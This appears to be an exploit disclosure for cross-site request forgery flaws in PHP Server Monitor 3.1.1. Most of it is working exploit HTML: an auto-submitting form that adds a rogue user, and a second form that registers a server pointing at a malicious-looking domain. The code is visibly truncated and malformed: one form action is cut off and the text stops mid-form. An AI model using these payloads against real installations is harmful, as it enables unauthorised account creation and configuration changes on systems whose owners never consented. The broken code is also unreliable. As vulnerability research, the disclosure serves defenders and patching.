PHP Server Monitor 3.1.1  
  
  
Vulnerability Type:  
=================================  
Cross site request forgery (CSRF)  
  
  
  
  
Vulnerability Details:  
=====================  
  
Multiple CSRF issues in PHP Server Monitor allow remote attackers to add  
arbitrary users & servers to the system, modify system configurations  
and delete arbitrary servers, if user (admin) is logged in and visits our  
malicious website or clicks on our infected linxs. As no CRSF protection is  
used in the application, we can make request on the victims behalf an the  
server will happily oblige processing our malicous HTTP requests.  
  
  
  
  
Exploit code(s):  
===============  
  
<!DOCTYPE>  
<html>  
<body onLoad="doit()">  
<script>  
function doit(){  
var e=document.getElementById('HELL')  
e.submit()  
}  
</script>  
  
  
1) add arbitrary users to the system:  
  
<form id="HELL" action="  
http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=0"  
method="post">  
<input type="text" name="user_name" value="hyp3rlinx" >

<input type="text" name="pushover_key" value="">  
<input type="text" name="pushover_device" value="">  
</form>  
  
  
  
2) add arbitrary servers to the system:  
  
<form id="HELL" action="

<input type="text" name="label" value="HELL" >  
<input type="text" name="ip" value="malicious-domain.hell">  
<input type="text" name="type" value="service">  
<input type="text" name="port" value="666">  
<input type="text" name="pattern" value="">  
<input type="text" name="warning_threshold" value="1">  
<input type="text" name="timeout" value="">  
<input type="text" name="active" value="yes">  
<input type="text" name="email" value="yes">
